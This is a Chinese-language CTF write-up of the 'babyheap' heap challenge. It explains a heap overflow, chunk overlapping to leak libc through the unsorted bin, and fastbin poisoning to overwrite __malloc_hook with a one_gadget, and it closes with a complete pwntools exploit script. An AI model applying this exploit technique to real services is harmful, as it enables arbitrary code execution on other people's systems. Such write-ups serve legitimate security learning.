每次看别人的Writeup对我来说都是一种折磨,所以这题我完全无参考,独立的解了出来。这种练习方式比直接看别人wp要有效的多,因为你知道每一个细节是怎么来的,而直接看wp会遗漏许多的细节,对独立解题能力锻炼也很有限。
wp只能作为一种思路指引,不应该一开始就看别人的exp,试图搞清楚每一个细节,这么做显然是照猫画虎,时间久了遇到问题就会习惯先找wp,而没有独立解题能力。
解完后我才看了其他人的wp,发现思路基本都一样,不过细节都不同,这时候就可以把别人好的解题思路学过来,变成自己的了:)
程序
防御全开
- Allocate,利用calloc分配chunk。
- Fill,根据索引向chunk里写内容,size可随意控制,造成堆溢出。
- Free,根据索引释放chunk。
- Dump,根据索引输出第2步写入的内容。
通过head[索引]可以得到,所分配chunk的信息,是否使用,大小,和chunk的内存地址。
Leak libc
先申请4个chunk,第一个用来堆溢出,修改后面的size之类的。第二个用来Dump数据,第三个是small bin大小,用来free后放入unsorted bin,这样就可以用第二个来Dump出unsorted bin的fd和bk。第四个是为了防止和topchunk合并。
1 2 3 4
| allocate(10) allocate(10) allocate(0x100) allocate(0x100) //防止和topchunk合并,不是重点。
|
此时我们用chunk1通过堆溢出,将chunk2的size改成一个比较大的数,比如0x61,这时候chunk2就包含了chunk3的部分内存。(这个技巧是我独自想出来的,后来才知道叫chunk overlapping)
1 2 3
| payload = '\x00'*24+p64(0x61) payload += p64(0x0) *11 + p64(0x100) fill(0,len(payload),payload)
|
因为我们后面要dump,但是现在chunk2的size在head上还是之前的10,所以要将它free掉,并重新分配,这样就head上就变成了0x61。
由于堆分配是用的calloc,分配后chunk里的内容都被清空了,所以我们要将chunk3的size给恢复过来。
1 2
| payload2 = '\x00'*24+p64(0x111) fill(1,len(payload2),payload2)
|
之后将chunk3 free掉,会进入unsorted bin,它的fd和bk会变成unsorted bin地址,然后打印chunk2,就泄露出了unsorted bin的地址。
完整leak代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| def leak(): allocate(10) allocate(10) allocate(0x100) allocate(0x100) payload = '\x00'*24+p64(0x61) payload += p64(0x0) *11 + p64(0x100) fill(0,len(payload),payload) free(1) allocate(80) payload2 = '\x00'*24+p64(0x111) fill(1,len(payload2),payload2) free(2) dump(1) p.recvuntil('\x7f\x00\x00') unsortedbin_addr = u64(p.recv(8)) return unsortedbin_addr
|
计算libc
有了unsortedbin就可以计算出main_arena地址,然后就可以计算出libc基址,这个没啥好说的,千篇一律的流程,我用的CTF-WIKI里的通用代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset
main_arena_offset = 0x3c4b20 unsortedbin_addr = leak() log.info('unsortedbin addr: '+ hex(unsortedbin_addr)) unsortedbin_offset_main_arena = offset_bin_main_arena(0) main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena - 40 libc_base = main_arena_addr - main_arena_offset log.info('libc_base addr: '+hex(libc_base)) log.info('main_arena addr: '+hex(main_arena_addr))
|
done
最后利用之前文章里提到的malloc_hook技巧,malloc hook劫持chunk到malloc hook附近,从而写入one_gadget。
1 2 3 4
| allocate(0x10) allocate(0x10) allocate(0x60) free(5)
|
为了方便讲解,我给它们加了编号。
再申请3个chunk,chunk_C要0x60大小,因为fake_chunk的size是0x7f,
free掉chunk_C,利用chunk_B恢复它的size,并将fd处写入fake_chunk。
这样就形成了Double Free的效果,fd指向了fake_chunk,我们最后将它分配出来既可。
1 2 3 4 5
| fake_chunk = main_arena_addr - 51 payload4 = '\x00'*24+p64(0x71) + p64(fake_chunk) fill(4,len(payload4),payload4) allocate(0x60) allocate(0x60)
|
最后将one_gadget通过偏移写入malloc_hook
1 2 3 4
| one_gadget = libc_base + 0x4526a payload5 = 'A' * 19 + p64(one_gadget) fill(6,len(payload5),payload5) allocate(0x10)
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import *
p = process('./babyheap')
def allocate(size): p.recvuntil('Command: ') p.sendline('1') p.recvuntil('Size: ') p.sendline(str(size))
def fill(idx, size, content): p.recvuntil('Command: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(idx)) p.recvuntil('Size: ') p.sendline(str(size)) p.recvuntil('Content: ') p.send(content)
def free(idx): p.recvuntil('Command: ') p.sendline('3') p.recvuntil('Index: ') p.sendline(str(idx))
def dump(idx): p.recvuntil('Command: ') p.sendline('4') p.recvuntil('Index: ') p.sendline(str(idx))
def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset
def leak(): allocate(10) allocate(10) allocate(0x100) allocate(0x100) payload = '\x00'*24+p64(0x61) payload += p64(0x0) *11 + p64(0x100) fill(0,len(payload),payload) free(1) allocate(80) payload2 = '\x00'*24+p64(0x111) fill(1,len(payload2),payload2) free(2) dump(1) p.recvuntil('\x7f\x00\x00') unsortedbin_addr = u64(p.recv(8)) return unsortedbin_addr
main_arena_offset = 0x3c4b20 unsortedbin_addr = leak() log.info('unsortedbin addr: '+ hex(unsortedbin_addr)) unsortedbin_offset_main_arena = offset_bin_main_arena(0) main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena - 40 libc_base = main_arena_addr - main_arena_offset log.info('libc_base addr: '+hex(libc_base)) log.info('main_arena addr: '+hex(main_arena_addr))
allocate(0x10) allocate(0x10) allocate(0x60) free(5)
fake_chunk = main_arena_addr - 51 payload4 = '\x00'*24+p64(0x71) + p64(fake_chunk) fill(4,len(payload4),payload4) allocate(0x60) allocate(0x60)
one_gadget = libc_base + 0x4526a payload5 = 'A' * 19 + p64(one_gadget) fill(6,len(payload5),payload5) allocate(0x10) p.interactive()
|